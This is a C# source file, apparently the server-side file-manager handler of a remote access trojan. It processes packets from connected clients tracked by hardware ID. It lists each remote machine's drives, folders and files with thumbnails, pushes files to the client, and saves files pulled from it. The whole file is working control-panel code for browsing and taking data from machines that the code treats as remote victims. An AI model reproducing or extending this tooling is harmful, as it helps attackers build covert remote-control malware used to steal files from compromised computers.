2019-10-03 19:54:27 +03:00

249 lines
12 KiB
C#

using Server.Forms;
using Server.MessagePack;
using Server.Connection;
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using System.Threading;
using System.Threading.Tasks;
using Server.Helper;
using System.Diagnostics;
using System.Collections.Generic;
using System.Linq;
namespace Server.Handle_Packet
{
public class HandleFileManager
{
public async void FileManager(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "setClient":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
if (FM.Client == null)
{
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
FM.Client = client;
FM.timer1.Enabled = true;
}
}
break;
}
case "getDrivers":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
FM.toolStripStatusLabel1.Text = "";
FM.listView1.Items.Clear();
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < driver.Length; i++)
{
if (driver[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = driver[i];
lv.ToolTipText = driver[i];
if (driver[i + 1] == "Fixed") lv.ImageIndex = 1;
else if (driver[i + 1] == "Removable") lv.ImageIndex = 2;
else lv.ImageIndex = 1;
FM.listView1.Items.Add(lv);
}
i += 1;
}
}
break;
}
case "getPath":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
{
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
}
if (FM.toolStripStatusLabel1.Text.Length == 2)
{
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
}
FM.listView1.BeginUpdate();
//
FM.listView1.Items.Clear();
FM.listView1.Groups.Clear();
FM.toolStripStatusLabel3.Text = "";
ListViewGroup groupFolder = new ListViewGroup("Folders");
ListViewGroup groupFile = new ListViewGroup("Files");
FM.listView1.Groups.Add(groupFolder);
FM.listView1.Groups.Add(groupFile);
FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
//
FM.listView1.Enabled = true;
FM.listView1.EndUpdate();
FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] Files[{FM.listView1.Groups[1].Items.Count}]";
}
break;
}
case "reqUploadFile":
{
FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
if (FD != null)
{
FD.Client = client;
FD.timer1.Start();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "uploadFile";
await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);
msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
}
break;
}
case "error":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
FM.listView1.Enabled = true;
FM.toolStripStatusLabel3.ForeColor = Color.Red;
FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString;
}
break;
}
}
}
catch { }
}
public async void SocketDownload(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "pre":
{
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
string file = unpack_msgpack.ForcePathObject("File").AsString;
string size = unpack_msgpack.ForcePathObject("Size").AsString;
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{
SD.Client = client;
SD.labelfile.Text = Path.GetFileName(file);
SD.FileSize = Convert.ToInt64(size);
SD.timer1.Start();
}
break;
}
case "save":
{
try
{
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{
if (!Directory.Exists(SD.DirPath))
return;
string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
string dirPath = SD.DirPath;
if (File.Exists(dirPath + "\\" + fileName))
{
fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
await Task.Delay(100);
}
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));
SD.Close();
}
}
catch { }
finally
{
GC.Collect();
}
break;
}
}
}
catch { }
}
private async Task SaveFileAsync(MsgPack unpack_msgpack, string name)
{
await unpack_msgpack.SaveBytesToFile(name);
}
private List<ListViewItem> GetFolders(MsgPack unpack_msgpack, ListViewGroup listViewGroup)
{
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
List<ListViewItem> lists = new List<ListViewItem>();
int numFolders = 0;
for (int i = 0; i < _folder.Length; i++)
{
if (_folder[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = _folder[i];
lv.ToolTipText = _folder[i + 1];
lv.Group = listViewGroup;
lv.ImageIndex = 0;
lists.Add(lv);
numFolders += 1;
}
i += 1;
}
return lists;
}
private List<ListViewItem> GetFiles(MsgPack unpack_msgpack, ListViewGroup listViewGroup, ImageList imageList1)
{
string[] _files = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
List<ListViewItem> lists = new List<ListViewItem>();
for (int i = 0; i < _files.Length; i++)
{
if (_files[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = Path.GetFileName(_files[i]);
lv.ToolTipText = _files[i + 1];
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_files[i + 2])));
Program.form1.Invoke((MethodInvoker)(() =>
{
imageList1.Images.Add(_files[i + 1], im);
}));
lv.ImageKey = _files[i + 1];
lv.Group = listViewGroup;
lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_files[i + 3])));
lists.Add(lv);
}
i += 3;
}
return lists;
}
}
}